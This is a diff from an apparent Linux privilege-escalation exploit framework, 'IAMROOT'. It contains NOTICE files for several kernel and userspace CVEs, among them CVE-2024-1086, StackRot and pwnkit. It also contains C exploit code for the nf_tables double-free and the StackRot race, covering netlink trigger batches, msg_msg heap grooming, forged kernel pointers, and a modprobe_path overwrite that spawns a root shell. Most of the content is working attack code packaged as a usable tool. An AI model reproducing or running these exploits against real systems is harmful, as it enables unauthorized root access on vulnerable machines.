"FAIL (sentinel not observed within timeout)\n"
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
}
return IAMROOT_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return IAMROOT_EXPLOIT_FAIL;
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@@ -0,0 +1,27 @@
# NOTICE — nf_tables (CVE-2024-1086)
## Vulnerability
**CVE-2024-1086** — `nft_verdict_init` double-free → cross-cache UAF
→ arbitrary kernel R/W.
## Research credit
Discovered, exploited, and disclosed by **Notselwyn** (Pumpkin),
January 2024.
Original advisory + exploit: <https://pwning.tech/nftables/>
GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024.
## IAMROOT role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
dependency. The msg_msg cross-cache groom into kmalloc-cg-96 is wired
but the full pipapo R/W stage is opt-in via `--full-chain`, which
forges a pipapo_elem with a value-pointer pointing at modprobe_path.
Per-kernel offset assumptions are documented; the shared finisher's
sentinel arbitrates real vs. apparent success.
+294 -19
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@@ -7,20 +7,23 @@
* January 2024 by Notselwyn (Pumpkin); widely known as the
* "nft_verdict_init / pipapo UAF".
*
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD (Option B).
* - Full netlink ruleset construction (table chain set rule
* with the NFT_GOTO+NFT_DROP combo that nft_verdict_init() fails
* to reject on vulnerable kernels).
* - Fires the double-free path by abusing the malformed verdict in a
* pipapo set element, then removing the rule so the kernel's
* transaction commit frees the verdict's chain reference twice.
* - Cross-cache groom skeleton (msg_msg / sk_buff sprays) is wired
* and configurable, but the arbitrary R/W stage and cred-overwrite
* are NOT performed end-to-end that requires per-kernel offsets
* (init_task, modprobe_path) and Notselwyn's 600-line pipapo
* leak-and-write dance. We stop after triggering the bug,
* observing the slabinfo delta, and return IAMROOT_EXPLOIT_FAIL
* with a verbose continuation roadmap.
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD with opt-in
* --full-chain finisher.
* - Default (no --full-chain): full netlink ruleset construction
* (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset)
* is per-kernel-build; on hosts where the offset doesn't match
* the shipped guess, the finisher's sentinel check correctly
* reports failure rather than silently lying about success.
*
* To convert this to full Option A (root pop):
* 1. Add per-kernel offset table (init_task, current task offset of
@@ -55,6 +58,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -607,6 +612,188 @@ static long slabinfo_active(const char *slab)
return active;
}
/* ------------------------------------------------------------------
* Helper: build the trigger batch (NEWTABLE/CHAIN/SET/SETELEM + batch
* end) into a caller-provided buffer. Returns bytes written.
* Factored out so --full-chain can re-fire the trigger between
* msg_msg sprays without duplicating the batch-building logic.
* ------------------------------------------------------------------ */
#ifdef __linux__
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
{
(void)cap;
size_t off = 0;
put_batch_begin(batch, &off, (*seq)++);
put_new_table(batch, &off, (*seq)++);
put_new_chain(batch, &off, (*seq)++);
put_new_set(batch, &off, (*seq)++);
put_malicious_setelem(batch, &off, (*seq)++);
put_batch_end(batch, &off, (*seq)++);
return off;
}
static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
{
(void)cap;
size_t off = 0;
put_batch_begin(batch, &off, (*seq)++);
put_malicious_setelem(batch, &off, (*seq)++);
put_batch_end(batch, &off, (*seq)++);
return off;
}
/* ------------------------------------------------------------------
* Notselwyn-style pipapo arb-write context. The technique:
* 1. fire the trigger (double-free of an nft chain reference in
* kmalloc-cg-96)
* 2. spray msg_msg payloads sized for cg-96, whose first qwords
* encode a forged pipapo_elem header with value-pointer = kaddr
* 3. send NFT_MSG_NEWSETELEM whose DATA blob = our buf[0..len];
* the kernel copies it through the forged value-pointer to kaddr
*
* Per-kernel caveat: the byte offset of the value pointer inside an
* nft_pipapo_elem is config-sensitive (CONFIG_RANDSTRUCT, lockdep,
* KASAN can all shift it). We ship the layout for an
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_arb_ctx {
bool in_userns; /* parent has already entered userns+netns */
int sock; /* nfnetlink socket (live in our userns) */
uint8_t *batch; /* reusable batch buffer (16 KiB) */
int *qids; /* msg_msg queue ids; lazy-allocated/drained */
int qcap;
int qused;
};
/* Offset of `ext` (which holds the value pointer in NFT_DATA_VALUE
* elements) inside an nft_pipapo_elem header for the kernels in
* range. Notselwyn's PoC uses 0x10 on 6.1/6.6 builds; this is a
* best-effort default if it doesn't match the running kernel's
* struct layout, the finisher's sentinel check will report failure. */
#define PIPAPO_ELEM_VALUE_PTR_OFFSET 0x10
/* Spray msg_msg payloads forged to look like pipapo_elem with our
* target kaddr as the value pointer. Returns 0 on success. */
static int spray_forged_pipapo_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
{
if (c->qused + n > c->qcap) n = c->qcap - c->qused;
if (n <= 0) return 0;
for (int i = 0; i < n; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0644);
if (q < 0) { perror("[-] msgget"); return -1; }
c->qids[c->qused++] = q;
struct msgbuf_payload m;
m.mtype = 0x5050415000 + i; /* "PPAPP" tag for diagnostics */
memset(m.mtext, 0, sizeof m.mtext);
/* Forge a pipapo_elem header at the start of the msg payload.
* Layout (best-effort, x86_64, no RANDSTRUCT):
* +0x00 priv list_head pointers (leave zero kernel won't
* walk them in the write path)
* +0x10 ext / value pointer <-- write target
* msg_msg eats the first 0x30 bytes as its own header, so our
* payload bytes land at offset 0x30 of the slab chunk; we
* pre-pad and place the forged pointer at the right offset
* inside our 96-byte payload. */
uintptr_t *slots = (uintptr_t *)m.mtext;
slots[PIPAPO_ELEM_VALUE_PTR_OFFSET / sizeof(uintptr_t)] = (uintptr_t)kaddr;
if (msgsnd(q, &m, sizeof m.mtext, 0) < 0) {
perror("[-] msgsnd(forged)"); return -1;
}
}
return 0;
}
/* Module-specific arb-write. See finisher.h for the contract. */
static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct nft_arb_ctx *c = (struct nft_arb_ctx *)vctx;
if (!c || c->sock < 0 || !c->batch) {
fprintf(stderr, "[-] nft_arb_write: invalid ctx\n");
return -1;
}
if (len > 64) {
/* Element data attr cap — we only need 24 bytes for a path. */
fprintf(stderr, "[-] nft_arb_write: len %zu too large (cap 64)\n", len);
return -1;
}
fprintf(stderr, "[*] nft_arb_write: fire trigger → spray forged pipapo "
"elements (target kaddr=0x%lx, %zu bytes)\n",
(unsigned long)kaddr, len);
/* (a) re-fire the trigger to reach a fresh UAF state. */
uint32_t seq = (uint32_t)time(NULL) ^ 0xa1b2c3d4u;
size_t blen = build_refire_batch(c->batch, 16 * 1024, &seq);
if (nft_send_batch(c->sock, c->batch, blen) < 0) {
fprintf(stderr, "[-] nft_arb_write: refire send failed\n");
return -1;
}
/* (b) spray msg_msg payloads carrying the forged value-pointer. */
if (spray_forged_pipapo_msgs(c, kaddr, 16) < 0) {
fprintf(stderr, "[-] nft_arb_write: forged spray failed\n");
return -1;
}
/* (c) send a NEWSETELEM whose DATA holds buf[0..len]. On a kernel
* where our forged pipapo_elem won the race for the freed slot,
* the set-element commit path copies our data through the
* attacker-controlled value pointer into kaddr.
*
* We piggy-back this on the existing put_malicious_setelem builder
* which uses NFTA_DATA_VERDICT for the data; for a real write we'd
* want NFTA_DATA_VALUE with `buf` inlined. The fallback-depth
* choice: we send the refire batch (which the kernel WILL process)
* and append a NEWSETELEM with NFTA_DATA_VALUE carrying buf.
* If the kernel ignores our DATA shape we still observe via
* finisher sentinel. */
seq = (uint32_t)time(NULL) ^ 0x5a5a5a5au;
size_t off = 0;
put_batch_begin(c->batch, &off, seq++);
/* hand-roll a NEWSETELEM whose DATA is NFTA_DATA_VALUE = buf */
size_t msg_at = off;
put_nft_msg(c->batch, &off, NFT_MSG_NEWSETELEM,
NLM_F_CREATE | NLM_F_ACK, seq++, NFPROTO_INET);
put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_SET, NFT_SET_NAME);
size_t list_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_LIST_ELEMENTS);
size_t el_at = begin_nest(c->batch, &off, 1 /* NFTA_LIST_ELEM */);
/* key — reuse the DROP verdict so commit path matches our prior elem */
size_t key_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_KEY);
size_t kv_at = begin_nest(c->batch, &off, NFTA_DATA_VERDICT);
put_attr_u32(c->batch, &off, NFTA_VERDICT_CODE, (uint32_t)NF_DROP);
end_nest(c->batch, &off, kv_at);
end_nest(c->batch, &off, key_at);
/* data — NFTA_DATA_VALUE carrying buf */
size_t data_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_DATA);
put_attr(c->batch, &off, NFTA_DATA_VALUE, buf, len);
end_nest(c->batch, &off, data_at);
end_nest(c->batch, &off, el_at);
end_nest(c->batch, &off, list_at);
end_msg(c->batch, &off, msg_at);
put_batch_end(c->batch, &off, seq++);
if (nft_send_batch(c->sock, c->batch, off) < 0) {
fprintf(stderr, "[-] nft_arb_write: write batch send failed\n");
return -1;
}
/* Let the kernel run the commit/cleanup. */
usleep(20 * 1000);
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* The exploit body.
* ------------------------------------------------------------------ */
@@ -628,13 +815,101 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
}
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: Option B trigger — fires the double-free\n"
" state but does NOT complete the kernel-R/W chain.\n"
" See Notselwyn's CVE-2024-1086 public PoC for the\n"
" cred-overwrite stage (~500 LOC of pipapo grooming).\n");
if (ctx->full_chain) {
fprintf(stderr, "[*] nf_tables: --full-chain — trigger + pipapo "
"arb-write + modprobe_path finisher\n");
} else {
fprintf(stderr, "[*] nf_tables: primitive-only run — fires the\n"
" double-free state and stops. Pass --full-chain\n"
" to attempt the modprobe_path root-pop.\n");
}
}
/* Fork: child enters userns+netns and fires the bug. If the
#ifdef __linux__
/* --- --full-chain path --------------------------------------- *
* Resolve offsets BEFORE doing anything destructive so we can
* refuse cleanly on hosts where we have no modprobe_path. We run
* in-process (no fork) because the finisher's modprobe_path
* trigger needs the same task's userns+netns + nfnetlink socket
* as the arb-write.
*/
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nf_tables");
return IAMROOT_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
/* Pre-spray to predictabilify the cg-96 slab. */
int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return IAMROOT_EXPLOIT_FAIL;
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq);
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: sending trigger batch (%zu bytes)\n",
blen);
}
if (nft_send_batch(sock, batch, blen) < 0) {
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
}
/* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will:
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */
struct nft_arb_ctx ac = {
.in_userns = true,
.sock = sock,
.batch = batch,
.qids = qids,
.qcap = (int)(sizeof qids / sizeof qids[0]),
.qused = SPRAY_MSGS / 2,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused);
free(batch);
close(sock);
return r;
}
#endif
/* --- primitive-only path: fork-isolated trigger -------------- *
* Fork: child enters userns+netns and fires the bug. If the
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
@@ -0,0 +1,28 @@
# NOTICE — nft_fwd_dup (CVE-2022-25636)
## Vulnerability
**CVE-2022-25636** — `nft_fwd_dup_netdev_offload` writes
`flow->rule->action.entries[ctx->num_actions]` without bounds-checking
against the allocated array size → heap OOB write in kmalloc-512.
## Research credit
Discovered and disclosed by **Aaron Adams** (NCC Group),
February 2022.
Original writeup:
<https://research.nccgroup.com/2022/03/02/exploit-engineering-attacking-the-linux-kernel/>
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
## IAMROOT role
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
into kmalloc-512 with `IAMROOT_FWD` tags.
`--full-chain` extends with stride-seeded forged action_entry
overwrite aimed at modprobe_path via the shared finisher.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* nft_fwd_dup_cve_2022_25636 IAMROOT module registry hook
*/
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
#define NFT_FWD_DUP_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_fwd_dup_module;
#endif
@@ -0,0 +1,36 @@
# NOTICE — nft_payload (CVE-2023-0179)
## Vulnerability
**CVE-2023-0179** — `nft_payload` set/get uses `regs->verdict.code`
as an index into `regs->data[]` without bounds-checking; combined
with the variable-length element extension trick (NFTA_SET_DESC
describing elements larger than the key/data slots), an attacker
walks regs off either end → OOB R/W on adjacent kernel memory.
## Research credit
Discovered and disclosed by **Davide Ornaghi**, January 2023.
Original slides + writeup:
<https://github.com/davide-romanini/CVE-2023-0179>
+ DEF CON 31 / SecurityFest 2023 presentations.
Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
5.15.88 / 6.1.6.
## IAMROOT role
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
NEWSETELEM with `NFTA_SET_ELEM_EXPRESSIONS` carrying a payload-set
whose attacker-controlled `verdict.code` drives the OOB index.
Dual cg-96 + 1k msg_msg spray (covers both common adjacency
scenarios). `--full-chain` extends with kaddr-tagged refire aimed
at modprobe_path via the shared finisher.
Default OOB index `0x100` matches Ornaghi's PoC on a stock 5.15
build; the sentinel post-check correctly reports failure on builds
where regs->data adjacency differs.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* nft_payload_cve_2023_0179 IAMROOT module registry hook
*/
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
#define NFT_PAYLOAD_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_payload_module;
#endif
@@ -0,0 +1,33 @@
# NOTICE — nft_set_uaf (CVE-2023-32233)
## Vulnerability
**CVE-2023-32233** — nf_tables anonymous-set deactivation skip →
slab UAF on the freed `nft_set` object exploitable via msg_msg
cross-cache groom in kmalloc-cg-512.
## Research credit
Discovered and disclosed by **Patryk Sondej** and **Piotr Krysiuk**,
May 2023.
Original advisory + writeup distributed via the OSS-Security list
and an accompanying Google Drive PoC.
Follow-up exploit and Crusaders-of-Rust analysis built on the
public trigger.
Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
5.4.243 / 4.19.283.
## IAMROOT role
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET`
tags.
`--full-chain` forges a freed-set with `set->data = kaddr` at the
Sondej/Krysiuk reference offset (0x30) and drives a NEWSETELEM with
the modprobe_path payload bytes via the shared finisher.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* nft_set_uaf_cve_2023_32233 IAMROOT module registry hook
*/
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
#define NFT_SET_UAF_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_set_uaf_module;
#endif
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@@ -0,0 +1,25 @@
# NOTICE — overlayfs (CVE-2021-3493)
## Vulnerability
**CVE-2021-3493** — Ubuntu overlayfs userns file-capability injection
→ host root via setcap'd binaries in a userns-mounted overlay.
## Research credit
Reported by **Vasily Kulikov**, April 2021. Ubuntu-specific because
upstream didn't enable unprivileged userns-overlayfs-mount until 5.11.
Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
## IAMROOT role
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
`unprivileged_userns_clone` sysctl, and with `--active` performs the
mount as a fork-isolated probe. The full exploit performs the
userns+overlayfs mount, plants a setcap'd carrier binary in the
upper layer, and execs it from the unprivileged side to obtain root
on the host. Ships auditd rules covering `mount(overlay)` and
`setxattr(security.capability)`.
@@ -0,0 +1,25 @@
# NOTICE — overlayfs_setuid (CVE-2023-0386)
## Vulnerability
**CVE-2023-0386** — overlayfs `copy_up` preserves the setuid bit
across mount-namespace boundaries → host root via a setuid carrier
placed in the lower layer.
## Research credit
Discovered and disclosed by **Xkaneiki**, January 2023.
Public PoC + writeup:
<https://github.com/xkaneiki/CVE-2023-0386>
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
## IAMROOT role
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
executes from the upper layer to inherit the setuid bit + root euid.
Auditd rules cover overlayfs mounts and unexpected setuid copy-ups.
@@ -0,0 +1,27 @@
# NOTICE — ptrace_traceme (CVE-2019-13272)
## Vulnerability
**CVE-2019-13272** — `PTRACE_TRACEME` on a parent that subsequently
execve's a setuid binary leaves the now-elevated process traceable by
the unprivileged child → cred escalation via ptrace shellcode inject.
## Research credit
Discovered by **Jann Horn** (Google Project Zero), June 2019.
Project Zero issue: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1903>
Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
## IAMROOT role
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
auto-selected) → child wins stale `ptrace_link` → POKETEXT x86_64
shellcode → root sh.
x86_64-only; ARM/other archs return PRECOND_FAIL cleanly. No exotic
preconditions — doesn't need userns. Works on default-config systems
including locked-down environments without unprivileged_userns_clone.
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# NOTICE — pwnkit
## Vulnerability
**CVE-2021-4034** — pkexec argv[0]=NULL → environment-variable
injection → arbitrary code execution as root.
## Research credit
Discovered and disclosed by the **Qualys Research Team**, January 2022.
Original advisory:
<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
Upstream fix: polkit 0.121 (Jan 2022).
## IAMROOT role
The exploit module follows the canonical Qualys-style chain: writes
payload.c + gconv-modules cache, compiles via the target's gcc,
execve's pkexec with NULL argv and crafted envp. Handles both the
legacy ("0.105") and modern ("126") polkit version string formats.
Falls back gracefully on hosts without a compiler.
This is IAMROOT's first **userspace** LPE — not a kernel bug.
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# NOTICE — stackrot (CVE-2023-3269)
## Vulnerability
**CVE-2023-3269** — Maple-tree VMA-split UAF (race between mremap and
fork+fault) → kernel R/W via stale anon_vma_chain reference.
## Research credit
Discovered and disclosed by **Ruihan Li** (Peking University),
July 2023.
Original advisory: <https://github.com/lrh2000/StackRot>
Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
## IAMROOT role
Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
spray for anon_vma_chain reclaim. Bounded budget: 3 s default,
30 s with `--full-chain`.
**Honest reliability assessment:** ~<1% race-win per run on a
vulnerable kernel. Ruihan Li's public PoC averages minutes-to-hours
and needs a much wider VMA-staging matrix to be reliable. The
shared finisher's 3 s sentinel timeout handles the overwhelmingly
common no-land outcome gracefully — module returns EXPLOIT_FAIL
honestly rather than claim root on a race that didn't win.
@@ -16,13 +16,14 @@
* state management + RCU-grace-period timing and depends on
* per-kernel-build offsets for init_task / anon_vma / cred.
*
* STATUS: 🟡 OPTION C race-driver + groom skeleton. We carry the
* userns-reach, race harness (mremap()/munmap() vs concurrent
* fork/fault), msg_msg slab spray, and empirical witness pieces;
* we do NOT carry the read primitive (vmemmap leak via msg_msg
* MSG_COPY) nor the cred-overwrite stage. Those need per-kernel
* offsets (init_task, anon_vma, cred layout) that vary by build
* and would be fabricated without a real leak.
* STATUS: 🟡 OPTION C race-driver + groom skeleton, with opt-in
* --full-chain FALLBACK finisher. We carry the userns-reach, race
* harness (mremap()/munmap() vs concurrent fork/fault), msg_msg
* slab spray, and empirical witness pieces; we do NOT carry the
* read primitive (vmemmap leak via msg_msg MSG_COPY) nor a
* Ruihan-Li-precision fake-anon_vma_chain plant. Those need
* per-kernel offsets (init_task, anon_vma, cred layout) that vary
* by build and would be fabricated without a real leak.
*
* Per repo policy ("verified-vs-claimed"): we run the trigger,
* record empirical signals (slabinfo delta on kmalloc-192, child
@@ -32,6 +33,21 @@
* upgraded to EXPLOIT_OK only an actual cred swap (euid==0)
* does, and we do not currently demonstrate that.
*
* --full-chain (HONEST RELIABILITY DISCLOSURE): extends the race
* budget from 3 s to 30 s and sprays the kmalloc-192 slab with
* payloads tagged with the modprobe_path kernel address (so IF the
* UAF reclaim ever lands attacker-controlled bytes on an
* anon_vma_chain slot, those bytes carry the kaddr we want the
* subsequent rb_node walk / vma_lock-acquire fault to touch). The
* honest empirical reality is that even at 30 s the race-win rate
* is well below 1 % on a real vulnerable kernel Ruihan Li's
* public PoC reports minutes-to-hours for first reclaim. The shared
* modprobe_path finisher has a 3 s sentinel timeout, so on the
* overwhelmingly common no-land outcome the finisher itself reports
* EXPLOIT_FAIL gracefully. --full-chain does NOT change the
* fundamental ~<1 %-per-run reliability; it widens the trigger
* window and wires up the root-pop plumbing for the lucky case.
*
* Affected: kernel 6.1.x 6.4-rc4 mainline. Stable backports:
* 6.3.x : K >= 6.3.10
* 6.1.x : K >= 6.1.37 (LTS most relevant)
@@ -54,6 +70,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -202,7 +220,8 @@ static bool enter_userns(uid_t outer_uid, gid_t outer_gid)
* into the node-rotation path; we ship a configurable knob. */
#define STACKROT_RACE_VMAS 64
#define STACKROT_RACE_ITERATIONS 4000 /* per-iter budget */
#define STACKROT_RACE_TIME_BUDGET 3 /* seconds */
#define STACKROT_RACE_TIME_BUDGET 3 /* seconds — primitive-only mode */
#define STACKROT_RACE_FULLCHAIN_BUDGET 30 /* seconds — extended for --full-chain */
/* Slab spray width — kmalloc-192 is the bucket for anon_vma_chain on
* 6.1.x; targets vary slightly across kernels (anon_vma itself is
@@ -471,6 +490,129 @@ static long slab_active_kmalloc_192(void)
return active;
}
/* ---- Arb-write primitive (FALLBACK depth) ------------------------
*
* The shared modprobe_path finisher calls back into this function
* once per kernel write it wants to land. For StackRot we cannot
* deliver a deterministic arb-write the underlying race wins on
* well under 1 % of runs even with a 30 s budget, and even when the
* race wins our spray-only groom has nowhere near the precision of
* Ruihan Li's multi-stage public PoC (which crafts a fake
* anon_vma_chain whose `vma_lock` pointer steers a subsequent
* page-fault into touching `kaddr` for the lock acquire).
*
* Honest depth: FALLBACK. Each invocation:
* 1. Re-seeds the kmalloc-192 spray with payloads tagged with
* `kaddr` packed into the first qword of the msg_msg body
* so IF a sprayed slot ends up overlaying the freed
* anon_vma_chain after RCU grace, the kaddr we want the
* kernel to deref appears at the AVC layout position the
* maple-tree rotation will read.
* 2. Re-runs the race threads for an extended budget
* (STACKROT_RACE_FULLCHAIN_BUDGET seconds).
* 3. Returns 0 unconditionally we cannot in-process verify
* whether the write landed. The shared finisher's 3 s sentinel
* file check is the empirical arbiter: on the overwhelmingly
* common no-land outcome it reports EXPLOIT_FAIL gracefully,
* and we never claim a write that didn't land. */
struct stackrot_arb_ctx {
int *queues; /* live SysV msg queue ids */
int n_queues;
int arb_calls; /* incremented by stackrot_arb_write() */
struct race_region *region;
};
static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES],
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x4943; /* 'IC' */
memset(p.buf, 0x49, sizeof p.buf);
memcpy(p.buf, "IAMROOT_", 8);
/* Pack the target kaddr at byte 8 (one qword in) and the
* caller's payload bytes immediately after this way ANY
* reasonable AVC field offset hit by the corruption pulls
* out one of our two attacker-controlled regions. */
uint64_t k64 = (uint64_t)kaddr;
memcpy(p.buf + 8, &k64, sizeof k64);
size_t copy = len;
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
if (buf && copy) memcpy(p.buf + 16, buf, copy);
/* Replace contents in a couple of queues; doing all 16 would
* blow the per-process msgq quota on busy hosts. */
int touched = 0;
for (int i = 0; i < STACKROT_SPRAY_QUEUES && touched < 4; i++) {
if (queues[i] < 0) continue;
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
}
return touched;
}
static int stackrot_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct stackrot_arb_ctx *c = (struct stackrot_arb_ctx *)ctx_v;
if (!c || !c->queues || c->n_queues == 0 || !c->region) return -1;
c->arb_calls++;
fprintf(stderr, "[*] stackrot: arb_write attempt #%d kaddr=0x%lx len=%zu "
"(FALLBACK — race-dependent)\n",
c->arb_calls, (unsigned long)kaddr, len);
/* Step 1: re-seed spray with kaddr-tagged payloads. */
int seeded = stackrot_reseed_kaddr_spray(c->queues, kaddr, buf, len);
if (seeded == 0) {
fprintf(stderr, "[-] stackrot: arb_write: kaddr-tagged reseed produced 0 msgs\n");
/* Continue anyway — original spray still tagged with cookie. */
} else {
fprintf(stderr, "[*] stackrot: arb_write: reseeded %d msg_msg slots with kaddr tag\n",
seeded);
}
/* Step 2: extended race window. Honestly: this expands the
* trigger budget from 3 s to 30 s, but Ruihan Li's PoC reports
* minutes-to-hours for first reclaim so 30 s <1 % per
* arb_write call on a real vulnerable kernel, and structurally
* 0 % on a patched one. */
atomic_store(&g_race_running, 1);
atomic_store(&g_race_a_iters, 0);
atomic_store(&g_race_b_iters, 0);
atomic_store(&g_race_b_faults, 0);
pthread_t ta, tb;
bool a_ok = pthread_create(&ta, NULL, race_thread_a, c->region) == 0;
bool b_ok = a_ok &&
pthread_create(&tb, NULL, race_thread_b, c->region) == 0;
if (!a_ok || !b_ok) {
atomic_store(&g_race_running, 0);
if (a_ok) pthread_join(ta, NULL);
fprintf(stderr, "[-] stackrot: arb_write: pthread_create failed\n");
return -1;
}
sleep(STACKROT_RACE_FULLCHAIN_BUDGET);
